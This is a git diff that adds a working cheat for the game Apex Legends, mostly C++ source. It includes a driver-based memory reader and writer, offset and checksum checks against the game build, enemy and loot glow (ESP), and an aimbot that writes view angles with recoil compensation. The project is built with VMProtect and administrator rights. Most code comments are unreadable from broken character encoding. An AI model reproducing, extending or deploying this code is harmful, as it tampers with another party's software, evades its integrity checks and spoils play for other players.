RAND_MAX) * (maxVal - minVal); + y = minVal + ((float)rand() / RAND_MAX) * (maxVal - minVal); + z = minVal + ((float)rand() / RAND_MAX) * (maxVal - minVal); +} + +//----------------------------------------------------------------------------- +// assignment +//----------------------------------------------------------------------------- +inline QAngle& QAngle::operator=(const QAngle& vOther) +{ + x = vOther.x; y = vOther.y; z = vOther.z; + return *this; +} + +//----------------------------------------------------------------------------- +// comparison +//----------------------------------------------------------------------------- +inline bool QAngle::operator==(const QAngle& src) const +{ + return (src.x == x) && (src.y == y) && (src.z == z); +} + +inline bool QAngle::operator!=(const QAngle& src) const +{ + return (src.x != x) || (src.y != y) || (src.z != z); +} + +//----------------------------------------------------------------------------- +// standard math operations +//----------------------------------------------------------------------------- +inline QAngle& QAngle::operator+=(const QAngle& v) +{ + x += v.x; y += v.y; z += v.z; + return *this; +} + +inline QAngle& QAngle::operator-=(const QAngle& v) +{ + x -= v.x; y -= v.y; z -= v.z; + return *this; +} + +inline QAngle& QAngle::operator*=(float fl) +{ + x *= fl; + y *= fl; + z *= fl; + + return *this; +} + +inline QAngle& QAngle::operator/=(float fl) +{ + Assert(fl != 0.0f); + float oofl = 1.0f / fl; + x *= oofl; + y *= oofl; + z *= oofl; + + return *this; +} + +//----------------------------------------------------------------------------- +// Base address... +//----------------------------------------------------------------------------- +inline float* QAngle::Base() +{ + return (float*)this; +} + +inline float const* QAngle::Base() const +{ + return (float const*)this; +} + +//----------------------------------------------------------------------------- +// Array access +//----------------------------------------------------------------------------- +inline float& QAngle::operator[](int i) +{ + Assert((i >= 0) && (i < 3)); + return ((float*)this)[i]; +} + +inline float QAngle::operator[](int i) const +{ + Assert((i >= 0) && (i < 3)); + return ((float*)this)[i]; +} + +//----------------------------------------------------------------------------- +// length +//----------------------------------------------------------------------------- +inline float QAngle::Length() const +{ + return (float)FastSqrt(LengthSqr()); +} + +inline float QAngle::LengthSqr() const +{ + return x * x + y * y + z * z; +} + +//----------------------------------------------------------------------------- +// arithmetic operations (SLOW!!) +//----------------------------------------------------------------------------- +#ifndef VECTOR_NO_SLOW_OPERATIONS + +inline QAngle QAngle::operator-(void) const +{ + return QAngle(-x, -y, -z); +} + +inline QAngle QAngle::operator+(const QAngle& v) const +{ + QAngle res; + res.x = x + v.x; + res.y = y + v.y; + res.z = z + v.z; + return res; +} + +inline QAngle QAngle::operator-(const QAngle& v) const +{ + QAngle res; + res.x = x - v.x; + res.y = y - v.y; + res.z = z - v.z; + return res; +} + +inline QAngle QAngle::operator*(float fl) const +{ + QAngle res; + res.x = x * fl; + res.y = y * fl; + res.z = z * fl; + return res; +} + +inline QAngle QAngle::operator/(float fl) const +{ + QAngle res; + res.x = x / fl; + res.y = y / fl; + res.z = z / fl; + return res; +} + +inline QAngle operator*(float fl, const QAngle& v) +{ + return v * fl; +} + +#endif // VECTOR_NO_SLOW_OPERATIONS + +//QANGLE SUBTRAC +inline void QAngleSubtract(const QAngle& a, const QAngle& b, QAngle& c) +{ + c.x = a.x - b.x; + c.y = a.y - b.y; + c.z = a.z - b.z; +} + +//QANGLEADD +inline void QAngleAdd(const QAngle& a, const QAngle& b, QAngle& c) +{ + c.x = a.x + b.x; + c.y = a.y + b.y; + c.z = a.z + b.z; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/README.md" new file mode 100644 index 0000000..06c52ff --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/README.md" @@ -0,0 +1,16 @@ +# 前言 + +比较稳的版本 + +[测试视频](https://www.ixigua.com/6882288233745482254/?utm_source=xiguastudio) + +# 截图展示 +

+ +

+ + + + + + diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/apex_show.sln" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/apex_show.sln" new file mode 100644 index 0000000..2ea40f5 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/apex_show.sln" @@ -0,0 +1,31 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 15 +VisualStudioVersion = 15.0.28307.1267 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "apex_show", "apex_show.vcxproj", "{7AF0A601-DEFD-43D4-BA4C-7A8DBFB1B951}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|x64 = Debug|x64 + Debug|x86 = Debug|x86 + Release|x64 = Release|x64 + Release|x86 = Release|x86 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {7AF0A601-DEFD-43D4-BA4C-7A8DBFB1B951}.Debug|x64.ActiveCfg = Debug|x64 + {7AF0A601-DEFD-43D4-BA4C-7A8DBFB1B951}.Debug|x64.Build.0 = Debug|x64 + {7AF0A601-DEFD-43D4-BA4C-7A8DBFB1B951}.Debug|x86.ActiveCfg = Debug|Win32 + {7AF0A601-DEFD-43D4-BA4C-7A8DBFB1B951}.Debug|x86.Build.0 = Debug|Win32 + {7AF0A601-DEFD-43D4-BA4C-7A8DBFB1B951}.Release|x64.ActiveCfg = Release|x64 + {7AF0A601-DEFD-43D4-BA4C-7A8DBFB1B951}.Release|x64.Build.0 = Release|x64 + {7AF0A601-DEFD-43D4-BA4C-7A8DBFB1B951}.Release|x86.ActiveCfg = Release|Win32 + {7AF0A601-DEFD-43D4-BA4C-7A8DBFB1B951}.Release|x86.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {30920145-87D2-4BDC-86DC-4C6904D4A7C7} + EndGlobalSection +EndGlobal diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/apex_show.vcxproj" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/apex_show.vcxproj" new file mode 100644 index 0000000..27bb88f --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/apex_show.vcxproj" @@ -0,0 +1,147 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {7AF0A601-DEFD-43D4-BA4C-7A8DBFB1B951} + apexshow + 10.0.17763.0 + + + + Application + true + v141 + MultiByte + + + Application + false + v141 + true + MultiByte + + + Application + true + v141 + MultiByte + false + + + Application + false + v141 + true + MultiByte + false + + + + + + + + + + + + + + + + + + + + + + + Level3 + Disabled + true + true + + + Console + + + + + Level3 + Disabled + true + false + F:\DirectX\Include;%(AdditionalIncludeDirectories) + stdcpplatest + + + Console + F:\DirectX\Lib\x64;%(AdditionalLibraryDirectories) + AsInvoker + + + + + Level3 + MaxSpeed + true + true + true + true + + + Console + true + true + + + + + Level3 + MaxSpeed + true + true + true + false + stdcpplatest + F:\VMProtect;%(AdditionalIncludeDirectories) + + + Console + true + true + F:\VMProtect\Lib;%(AdditionalLibraryDirectories) + RequireAdministrator + + + + + + + + + + + + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/apex_show.vcxproj.filters" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/apex_show.vcxproj.filters" new file mode 100644 index 0000000..4f664a5 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/apex_show.vcxproj.filters" @@ -0,0 +1,36 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + 源文件 + + + + + 头文件 + + + 头文件 + + + 头文件 + + + 头文件 + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/apex_show.vcxproj.user" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/apex_show.vcxproj.user" new file mode 100644 index 0000000..be25078 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/apex_show.vcxproj.user" @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/cheats.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/cheats.hpp" new file mode 100644 index 0000000..0964b09 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/cheats.hpp" @@ -0,0 +1,430 @@ +#pragma once + +#include "entity.hpp" + +constexpr const int NUM_ENT_ENTRIES = 0x10000; +constexpr const int MAX_PLAYERS = 100; + +client_info g_clients[NUM_ENT_ENTRIES]; // ͻϢ + +class apex_cheats +{ +private: + rm_driver m_driver; // д + HWND m_hwnd; // Ϸ + + entity m_local; // + + entity m_players[MAX_PLAYERS]; // б + +public: + apex_cheats() {} + ~apex_cheats() {} + + /* ʼ */ + bool initialize() + { + // ʼ + bool state = m_driver.initialize(L"r5apex.exe", L"\\\\.\\{BE416943-E578-4EBA-81F7-597AE57EB483}"); + if (state == false) return false; + + // Ϸ + m_hwnd = FindWindowA("Respawn001", "Apex Legends"); + if (m_hwnd == 0) return false; + + IMAGE_DOS_HEADER dos = m_driver.read(m_driver.m_base); + std::cout << "[+] DOSļͷƫ : 0x" << std::hex << dos.e_lfanew << std::endl; + + IMAGE_NT_HEADERS64 nt64 = m_driver.read(m_driver.m_base + dos.e_lfanew); + std::cout << "[+] ʱ : 0x" << std::hex << nt64.FileHeader.TimeDateStamp << std::endl; + if (apex_offsets::TimeDateStamp != nt64.FileHeader.TimeDateStamp) + { + std::cout << "[-] ʱͬ,ƫ" << std::endl; + system("pause"); + exit(0); + return false; + } + + std::cout << "[+] У : 0x" << std::hex << nt64.OptionalHeader.CheckSum << std::endl; + if (apex_offsets::CheckSum != nt64.OptionalHeader.CheckSum) + { + std::cout << "[-] УͲͬ,ƫ" << std::endl; + system("pause"); + exit(0); + return false; + } + + return true; + } + + /* Ϸ˳ж */ + bool is_game_exit() + { + return FindWindowA("Respawn001", "Apex Legends") == NULL; + } + + /* ȡЧ */ + int get_visiable_player() + { + // + int num = 0; + + // + for (int i = 0; i < MAX_PLAYERS; i++) m_players[i].update(nullptr, 0); + + // ҳҵַ + for (int i = 0; i < NUM_ENT_ENTRIES; i++) + { + // õʵַ + DWORD64 addr = g_clients[i].pEntity; + + // ַΪ + if (addr == 0) continue; + + // ַ + if ((addr & 0x07) != 0 || addr >= (1ULL << 48)) continue; + + // Լ + if (addr == m_local.m_base) continue; + + entity e(&m_driver, addr); + + // һߵ + if (e.is_player() || e.is_npc()) + { + // û + if (e.get_current_health() > 0 && e.is_life()) + { + // б + m_players[num++] = e; + continue; + } + } + + // Թ + switch (e.get_item_index()) + { + // + case ItemID::R301: + case ItemID::R301_GOLD: + case ItemID::R99: + case ItemID::R99_GOLD: + + // ͷ + case ItemID::HELMET_LV3: + case ItemID::HELMET_LV4: + + // + case ItemID::BODY_ARMOR_LV3: + case ItemID::BODY_ARMOR_LV4: + + // + case ItemID::EVO_SHIELD_LV3: + case ItemID::EVO_SHIELD_LV4: + + // + case ItemID::KNOCKDOWN_SHIELD_LV3: + case ItemID::KNOCKDOWN_SHIELD_LV4: + + // + case ItemID::BACKPACK_LV3: + case ItemID::BACKPACK_LV4: + + e.glow_item(true); + break; + } + } + + return num; + } + + /* ר */ + void this_is_test_function() + { + // ҵַ + // CPlayer + // CAI_BaseNPC + // CPropSurvival + // CWeaponX + // CWorld + for (int i = 0; i < NUM_ENT_ENTRIES; i++) + { + // õʵַ + DWORD64 addr = g_clients[i].pEntity; + if (addr == 0) continue; + + // R301ͻԹ + entity e(&m_driver, addr); + switch (e.get_item_index()) + { + // + case ItemID::R301: + case ItemID::R301_GOLD: + case ItemID::R99: + case ItemID::R99_GOLD: e.glow_item(true); break; + + // ͷ + case ItemID::HELMET_LV3: + case ItemID::HELMET_LV4: e.glow_item(true); break; + + // + case ItemID::BODY_ARMOR_LV3: + case ItemID::BODY_ARMOR_LV4: e.glow_item(true); break; + + // + case ItemID::EVO_SHIELD_LV3: + case ItemID::EVO_SHIELD_LV4: e.glow_item(true); break; + + // + case ItemID::KNOCKDOWN_SHIELD_LV3: + case ItemID::KNOCKDOWN_SHIELD_LV4: e.glow_item(true); break; + + // + case ItemID::BACKPACK_LV3: + case ItemID::BACKPACK_LV4: e.glow_item(true); break; + } + } + } + + /* Ƕȼ */ + void calc_angle(Vec3& vecOrigin, Vec3& vecOther, Vec3& vecAngles) + { + Vec3 vecDelta = Vec3{ (vecOrigin[0] - vecOther[0]), (vecOrigin[1] - vecOther[1]), (vecOrigin[2] - vecOther[2]) }; + float hyp = sqrtf(vecDelta[0] * vecDelta[0] + vecDelta[1] * vecDelta[1]); + + vecAngles[0] = (float)atan(vecDelta[2] / hyp) *(float)(180.f / 3.14159265358979323846); + vecAngles[1] = (float)atan(vecDelta[1] / vecDelta[0]) *(float)(180.f / 3.14159265358979323846); + vecAngles[2] = (float)0.f; + + if (vecDelta[0] >= 0.f) vecAngles[1] += 180.0f; + } + + /* һ */ + void make_vector(Vec3& vecAngle, Vec3& out) + { + float pitch = float(vecAngle[0] * 3.14159265358979323846 / 180); + float tmp = float(cos(pitch)); + float yaw = float(vecAngle[1] * 3.14159265358979323846 / 180); + out[0] = float(-tmp * -cos(yaw)); + out[1] = float(sin(yaw)*tmp); + out[2] = float(-sin(pitch)); + } + + /* ȡfov */ + float get_max_fov(Vec3& vecAngle, Vec3& vecOrigin, Vec3& vecOther) + { + Vec3 ang, aim; + double fov = 0.0; + + calc_angle(vecOrigin, vecOther, ang); + make_vector(vecAngle, aim); + make_vector(ang, ang); + + float mag_s = sqrt((aim[0] * aim[0]) + (aim[1] * aim[1]) + (aim[2] * aim[2])); + float mag_d = sqrt((aim[0] * aim[0]) + (aim[1] * aim[1]) + (aim[2] * aim[2])); + + float u_dot_v = aim[0] * ang[0] + aim[1] * ang[1] + aim[2] * ang[2]; + fov = acos(u_dot_v / (mag_s*mag_d)) * (180.f / 3.14159265358979323846f); + fov *= 1.4; + + if (isnan(fov)) return 0.0f; + return float(fov); + } + + /* Ƕ */ + Vec3 get_aimbot_angle(Vec3& vecOrigin, Vec3& vecOther) + { + Vec3 vecAngles{}; + Vec3 vecDelta = Vec3{ (vecOrigin[0] - vecOther[0]), (vecOrigin[1] - vecOther[1]), (vecOrigin[2] - vecOther[2]) }; + float hyp = sqrtf(vecDelta[0] * vecDelta[0] + vecDelta[1] * vecDelta[1]); + + float M_PI = 3.1415f; + vecAngles[0] = (float)atan(vecDelta[2] / hyp) * (float)(180.f / M_PI); + vecAngles[1] = (float)atan(vecDelta[1] / vecDelta[0]) * (float)(180.f / M_PI); + vecAngles[2] = (float)0.f; + + if (vecDelta[0] >= 0.f) vecAngles[1] += 180.0f; + return vecAngles; + } + + /* Ƕȹһ */ + void angle_normalize(Vec3& vAngles) + { + for (int i = 0; i < 3; i++) + { + if (vAngles[i] < -180.0f) vAngles[i] += 360.0f; + if (vAngles[i] > 180.0f) vAngles[i] -= 360.0f; + } + + if (vAngles.x < -89.0f) vAngles.x = 89.0f; + if (vAngles.x > 89.0f) vAngles.x = 89.0f; + + vAngles.z = 0; + } + + /* 淶Ƕ */ + void clamp_angles(Vec3& vAngles) + { + while (vAngles.y < -180.0f) vAngles.y += 360.0f; + while (vAngles.y > 180.0f) vAngles.y -= 360.0f; + + if (vAngles.x < -89.0f) vAngles.x = 89.0f; + if (vAngles.x > 89.0f) vAngles.x = 89.0f; + + vAngles.z = 0; + } + + /* Ϣĸ */ + void info_update() + { + // ȡԼַ + DWORD64 addr = m_driver.read(m_driver.m_base + apex_offsets::LocalPlayer); + m_local.update(&m_driver, addr); + + // ȡȫͻϢ + m_driver.read_array(m_driver.m_base + apex_offsets::cl_entitylist, g_clients, sizeof(client_info) * NUM_ENT_ENTRIES); + + // + int num = get_visiable_player(); + std::cout << std::oct << "[+] ʣ [ " << num << " ] " << std::endl; + + // + // this_is_test_function(); + } + + /* һԹ */ + void glow_player(bool state = true) + { + // ԼַΪ + if (m_local.empty()) return; + + // + for (int i = 0; i < MAX_PLAYERS; i++) + { + // ж + if (m_players[i].empty()) break; + + // Ҵж + if (m_players[i].get_current_health() <= 0) continue; + if (m_players[i].is_life() == false) continue; + + // Ƕ + if (m_players[i].get_team_id() == m_local.get_team_id()) continue; + + // һԹ + m_players[i].glow_player(state); + } + } + + /* */ + void aim_player(int bone = 8) + { + // ԼַΪ + if (m_local.empty()) return; + + // + if (m_local.get_current_health() <= 0) return; + + // ȡͷ + Vec3 local_head = m_local.get_bone_position1(bone); + + // ȡǰǶ + Vec3 current_angle = m_local.get_angle(); + + // ȡǶ + Vec3 recoil_angle = m_local.get_recoil_angle(); + + Vec3 vest; + float max_fov = 20.0f; + bool state = false; + + // + for (int i = 0; i < MAX_PLAYERS; i++) + { + // ȫΪ + if (m_players[i].empty()) break; + + // + if (m_players[i].get_current_health() <= 0) continue; + if (m_players[i].is_life() == false) continue; + + // ҵ + if (m_players[i].is_bleed_out()) continue; + + // Ƕ + if (m_players[i].get_team_id() == m_local.get_team_id()) continue; + + // ȡҹ + Vec3 v = m_players[i].get_bone_position1(bone); + + // 볬3000ͲҪ + float dis = local_head.distance(v); + if (dis > 3000.0f) continue; + + // ҵ׼һ + float f = get_max_fov(current_angle, local_head, v); + if (f < max_fov) + { + max_fov = f; + vest = v; + state = true; + } + } + + if (state) + { + // Ƕ + Vec3 angle = get_aimbot_angle(local_head, vest) - recoil_angle; + angle.x += 0.5f; + + // һǶ + angle_normalize(angle); + clamp_angles(angle); + + // ýǶ + m_local.set_angle(angle); + } + } + + /* ʼ */ + void start_cheats() + { + // ʼ + if (initialize() == false) return; + + // ׼,ʾ + Beep(500, 500); + + // ״̬ + info_update(); + + // ѭ + while (is_game_exit() == false) + { + // ϷǶ㴰 + if (m_hwnd == GetForegroundWindow()) + { + // ԾϢһԹ + // ΪAPEX64λϷ,һֱ״̬µĻ,ٶȸϰ + // ҪڰһԾ!!!!!б + if (GetAsyncKeyState(VK_SPACE) & 0x8000) + { + // ״̬ + info_update(); + + // һԹ + glow_player(); + } + + // + if (GetAsyncKeyState(VK_LBUTTON) & 0x8000) aim_player(8);//6 8 + + // ˳ + if (GetAsyncKeyState(VK_F9) & 0x8000) break; + } + + // ŹCPU + Sleep(3); + } + } +}; \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/demo.jpg" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/demo.jpg" new file mode 100644 index 0000000..89472f2 Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/demo.jpg" differ diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/entity.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/entity.hpp" new file mode 100644 index 0000000..4d197c4 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Apex Legends/[\350\276\211\345\205\211] [\351\224\201\345\244\264] [\347\250\263\345\256\232\347\211\210\346\234\254]/entity.hpp" @@ -0,0 +1,571 @@ +#pragma once + +#include "memory.hpp" +#include "offsets.hpp" + +// Ϣ +struct matrix_info +{ + union + { + float d1[4][4]; + float d2[16]; + }u; +}; + +// Ϣ +struct mat3x4 +{ + union + { + float d1[3][4]; + float d2[12]; + }u; +}; + +// ͻϢ +struct client_info +{ + uint64_t pEntity; // ʵָ + int64_t SerialNumber; // Ψһ + uint64_t pPrev; // һ + uint64_t pNext; // һ +}; + +// ͻϢ +struct client_class_info +{ + uint64_t pCreateFn; + uint64_t pCreateEventFn; + uint64_t pNetworkName; // + uint64_t pRecvTable; + uint64_t pNext; + uint32_t ClassID; + uint32_t ClassSize; +}; + +inline float rad2deg(float rad) +{ + return rad * 180.0f / 3.1415927f; +} + +inline float deg2rad(float deg) +{ + return deg * 3.1415927f / 180.0f; +} + +struct Vec3 +{ + float x = 0.0f, y = 0.0f, z = 0.0f; + + static inline float distance(Vec3 lhs, Vec3 rhs) + { + Vec3 delta = Vec3{ rhs.x - lhs.x, rhs.y - lhs.y, rhs.z - lhs.z }; + return sqrt(delta.x * delta.x + delta.y * delta.y + delta.z * delta.z); + } + + inline float operator[](int index) const + { + if (index == 0) return x; + else if (index == 1) return y; + else return z; + } + + inline float& operator[](int index) + { + if (index == 0) return x; + else if (index == 1) return y; + else return z; + } + + inline Vec3 operator+ (Vec3 v) const + { + return Vec3{ x + v.x, y + v.y, z + v.z }; + } + + inline Vec3 operator- (Vec3 v) const + { + return Vec3{ x - v.x, y - v.y, z - v.z }; + } + + inline Vec3 operator* (float scale) const + { + return Vec3{ x * scale, y * scale, z * scale }; + } + + inline Vec3 operator+=(Vec3 v) + { + this->x += v.x; + this->y += v.y; + this->z += v.z; + return *this; + } + + inline Vec3 operator-=(Vec3 v) + { + this->x -= v.x; + this->y -= v.y; + this->z -= v.z; + return *this; + } + + inline Vec3 to_angles() const + { + float yaw, pitch; + if (y == 0.0f && x == 0.0f) + { + yaw = 0.0f; + pitch = z > 0.0f ? 270.0f : 90.0f; + } + else + { + yaw = rad2deg(atan2(y, x)); + const float tmp = sqrt(x * x + y * y); + pitch = rad2deg(atan2(-z, tmp)); + } + return Vec3{ pitch, yaw, 0.0f }; + } + + inline Vec3 norm_angles() const + { + const float pitch = x < -90.0f ? -90.0f : (x > 90.0f ? 90.0f : x); + float yaw = y; + while (yaw <= -180.0f) yaw += 360.0f; + while (yaw > 180.0f) yaw -= 360.0f; + return Vec3{ pitch, yaw, 0.0f }; + } + + inline float length() const + { + float f = x * x + y * y + z * z; + return sqrt(f); + } + + inline float distance(Vec3& v) const + { + float a = abs(x - v.x); + float b = abs(y - v.y); + float c = abs(z - v.z); + return sqrt(a * a + b * b + c * c); + } + + inline bool visable() const + { + const float max_f = 0.00001f; + const float min_f = -0.00001f; + bool state1 = x > min_f && x < max_f; + bool state2 = y > min_f && y < max_f; + bool state3 = z > min_f && z < max_f; + return !(state1 && state2 && state3); + } +}; + +// +typedef struct _Bone +{ + uint8_t pad1[0xC]; + float x; + uint8_t pad2[0xC]; + float y; + uint8_t pad3[0xC]; + float z; +}Bone; + +// +enum class Weapon_Index : uint32_t +{ + R301 = 0, + SENTINEL = 1, + MELEE_SURVIVAL = 17, + ALTERNATOR = 59, + RE45, + DEVOTION, + LONGBOW, + EVA8_AUTO, + FLATLINE, + G7_SCOUT, + HEMLOK, + KRABER, + MASTIFF, + MOZAMBIQUE, + PROWLER, + PEACEKEEPER, + R99, + P2020, + SPITFIRE, + TRIPLE_TAKE, + WINGMAN, + HAVOC, + LSTAR, + CHARGE_RIFLE, + VOLT, +}; + +// +enum class ItemID : uint32_t +{ + // + KRABER_HEIRLOOM = 1, + MASTIFF = 2, + MASTIFF_GOLD = 3, + LSTAR = 7, + LSTAR_GOLD = 8, + HAVOC = 12, + HAVOC_GOLD = 13, + DEVOTION = 17, + DEVOTION_GOLD = 18, + TRIPLE_TAKE = 22, + TRIPLE_TAKE_GOLD = 23, + FLATLINE = 27, + FLATLINE_GOLD = 28, + HEMLOK = 32, + HEMLOK_GOLD = 33, + G7_SCOUT = 37, + G7_SCOUT_GOLD = 38, + ALTERNATOR = 42, + ALTERNATOR_GOLD = 43, + R99 = 47, + R99_GOLD = 48, + PROWLER_HEIRLOOM = 52, + VOLT = 57, + VOLT_GOLD = 58, + LONGBOW = 62, + LONGBOW_GOLD = 63, + CHARGE_RIFLE = 67, + CHARGE_RIFLE_GOLD = 68, + SPITFIRE = 72, + SPITFIRE_GOLD = 73, + R301 = 77, + R301_GOLD = 78, + EVA8_AUTO = 82, + EVA8_AUTO_GOLD = 83, + PEACEKEEPER_HEIRLOOM = 87, + MOZAMBIQUE = 88, + MOZAMBIQUE_GOLD = 89, + WINGMAN = 93, + WINGMAN_GOLD = 94, + P2020 = 98, + P2020_GOLD = 99, + RE45 = 103, + RE45_GOLD = 104, + SENTINEL = 108, + SENTINEL_GOLD = 109, + + // ҩ + LIGHT_ROUNDS = 113, + ENERGY_AMMO, + SHOTGUN_SHELLS, + HEAVY_ROUNDS, + SNIPER_AMMO, + + // + ULTIMATE_ACCELERANT, + PHOENIX_KIT, + MED_KIT, + SYRINGE, + SHIELD_BATTERY, + SHIELD_CELL, + + // + HELMET_LV1, + HELMET_LV2, + HELMET_LV3, + HELMET_LV4, + BODY_ARMOR_LV1, + BODY_ARMOR_LV2, + BODY_ARMOR_LV3, + BODY_ARMOR_LV4, + EVO_SHIELD_LV0, + EVO_SHIELD_LV1, + EVO_SHIELD_LV2, + EVO_SHIELD_LV3, + EVO_SHIELD_LV4, + KNOCKDOWN_SHIELD_LV1, + KNOCKDOWN_SHIELD_LV2, + KNOCKDOWN_SHIELD_LV3, + KNOCKDOWN_SHIELD_LV4, + BACKPACK_LV1, + BACKPACK_LV2, + BACKPACK_LV3, + BACKPACK_LV4, + + // + THERMITE_GRENADE, + FRAG_GRENADE, + ARC_STAR, + + // + HCOG_CLASSIC, + HCOG_BRUISER, + HOLO, + VARIABLE_HOLO, + DIGITAL_THREAT, + HCOG_RANGER, + VARIABLE_AOG, + SNIPER, + VARIABLE_SNIPER, + DIGITAL_SNIPER_THREAT, + + // + BARREL_STABILIZER_LV1, + BARREL_STABILIZER_LV2, + BARREL_STABILIZER_LV3, + BARREL_STABILIZER_LV4, + LIGHT_MAGAZINE_LV1, + LIGHT_MAGAZINE_LV2, + LIGHT_MAGAZINE_LV3, + HEAVY_MAGAZINE_LV1, + HEAVY_MAGAZINE_LV2, + HEAVY_MAGAZINE_LV3, + ENERGY_MAGAZINE_LV1, + ENERGY_MAGAZINE_LV2, + ENERGY_MAGAZINE_LV3, + SNIPER_MAGAZINE_LV1, + SNIPER_MAGAZINE_LV2, + SNIPER_MAGAZINE_LV3, + SHOTGUN_BOLT_LV1, + SHOTGUN_BOLT_LV2, + SHOTGUN_BOLT_LV3, + STANDARD_STOCK_LV1, + STANDARD_STOCK_LV2, + STANDARD_STOCK_LV3, + SNIPER_STOCK_LV1, + SNIPER_STOCK_LV2, + SNIPER_STOCK_LV3, + + // + TURBOCHARGER, + SKULLPIERCER_RIFLING, + HAMMERPOINT_ROUNDS, + DOUBLE_TAP_TRIGGER, + HOPUP_187, + QUICKDRAW_HOLSTER, + VAULT_KEY, + MOBILE_RESPAWN_BEACON, + ITEM_191, + TREASURE_PACK, +}; + +class entity +{ +public: + rm_driver* m_driver_point; // дָ + DWORD64 m_base; // ַ + +public: + entity() : m_driver_point(nullptr), m_base(0) {} + entity(rm_driver* r, DWORD64 d) : 